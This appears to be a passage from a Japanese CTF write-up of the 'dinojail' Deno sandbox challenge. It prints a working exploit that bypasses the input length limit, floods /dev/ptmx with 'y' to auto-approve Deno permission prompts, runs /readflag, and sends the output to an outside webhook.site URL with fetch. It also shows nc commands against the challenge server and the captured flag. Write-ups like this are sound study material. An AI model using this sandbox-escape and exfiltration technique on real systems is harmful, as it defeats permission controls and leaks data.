は次の通りで、こちらもシンプル。FFIはlibcの関数を呼び出すために使われていて、まずはUIDとGIDを1337にセットしつつ、stdin, stdout, stderrを全部閉じている。これらが成功したらFFIのパーミッションを取り消し、コマンドライン引数から与えられたコードを実行する。ただし、実行できるコードは最大100文字という制限がある。
let sbxed = await (async _=>{ let lib = Deno.dlopen( "/lib/x86_64-linux-gnu/libc.so.6",{ close: { parameters: ["i32"], result: "i32"}, setuid: { parameters: ["i32"], result: "i32"}, setgid: { parameters: ["i32"], result: "i32"} }); let syms = lib.symbols; if( !syms.setgid(1337) && !syms.setuid(1337) && !syms.close(0) && !syms.close(1) && !syms.close(2) ){ lib.close(); await Deno.permissions.revoke({name:'ffi'}); return true; } return false; })() if(sbxed){ eval(atob(Deno.args[0]).slice(0,100)) }
まず、100文字で大したことができるわけがないので、stager的に追加でどこからかコードを読み込んでこれないかと考える。そのためにstdinが開いていれば嬉しかったのだけれども、残念ながらできない。/dev/tty
を再度開いてなんとかすることを考えて以下のようにローカルで動くことを確認する…が、リモートではなぜかできない。
$ docker run --rm -it dinojail $(echo -en 'Deno.openSync("/dev/tty",{write:!0}).write((new TextEncoder).encode("foo"))' | base64 -w0) foo $ nc 58.229.185.56 2323 I will run `docker run --rm dinojail $input`. Your input must match /^[A-Za-z0-9=+\/]+$/ input: RGVuby5vcGVuU3luYygiL2Rldi90dHkiLHt3cml0ZTohMH0pLndyaXRlKChuZXcgVGV4dEVuY29kZXIpLmVuY29kZSgiZm9vIikp Executing Executed
解法
競技中はこれで詰まって終わりだった。競技終了後にDiscordをチェックしたところ、perfect blueのJazzyさんによって解法が共有されていた。まず100文字の制限を atob(Deno.args[0]).slice(100)
でバイパスするというところから驚く。問題文で与えられたサーバに接続すると、入力の検証が入った後に docker run
で先程のコードが走るのだけれども、文字種の確認はされていても、長さの確認はされていなかったらしい。
$ nc 58.229.185.56 2323 I will run `docker run --rm dinojail $input`. Your input must match /^[A-Za-z0-9=+\/]+$/ input: こんにちは Bad or too long input $ nc 58.229.185.56 2323 I will run `docker run --rm dinojail $input`. Your input must match /^[A-Za-z0-9=+\/]+$/ input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Executing Executed
そして /dev/ptmx
を開き、それに対して大量の y
を流し込みつつ Deno.Command
でOSコマンドの実行を試みていた。本来であれば、オプションで許可されていないアクションを実行しようとすると、以下のように一時的に許可してもよいかというプロンプトが表示される。ここで y
を入力すると --allow-run
がオプションで与えられた場合と同様にOSコマンドが実行されるのだけれども、前述の方法で無理やり許可させているようだ。あとは実行結果を fetch
で外部に流すだけ。fetch
の実行には --allow-net
が必要だが、これも y
を流し込んでいるおかげで許可される。なるほどなあ。
$ cat test.js console.log(String.fromCharCode(...new Deno.Command("/bin/date").outputSync().stdout)) $ deno run test.js ┌ ⚠️ Deno requests run access to "/bin/date". ├ Requested by `Deno.Command().outputSync()` API. ├ Run again with --allow-run to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
Jazzyさんのexploitを参考に自分でもやってみる。
$ cat solve.js console.log(btoa( "eval(atob(Deno.args[0]).slice(100))".padEnd(100, ";") + ` const stdin = Deno.openSync("/dev/ptmx", {read: true, write: true}); const stdout = Deno.openSync("/dev/ptmx", {read:true, write: true}); const stderr = Deno.openSync("/dev/ptmx", {read:true, write: true}); stdin.write(new TextEncoder().encode("y\\n".repeat(10000))); let r = String.fromCharCode(...new Deno.Command("/readflag").outputSync().stdout); fetch("https://webhook.site/8d75b26b-d19f-49ee-9dca-6cd5ae0b27a1?"+r); ` )); $ deno run solve.js | nc 58.229.185.56 2323 I will run `docker run --rm dinojail $input`. Your input must match /^[A-Za-z0-9=+\/]+$/ input: Executing Executed
何度か試すとフラグが降ってきた。
WACON{e071cdc16f51b8e96f4d6993c10e6f02}
ほかのDenoのサンドボックス問だと、SECCON CTF 2022 Quals - denoboxやDiceCTF 2022 - denoblogも面白い。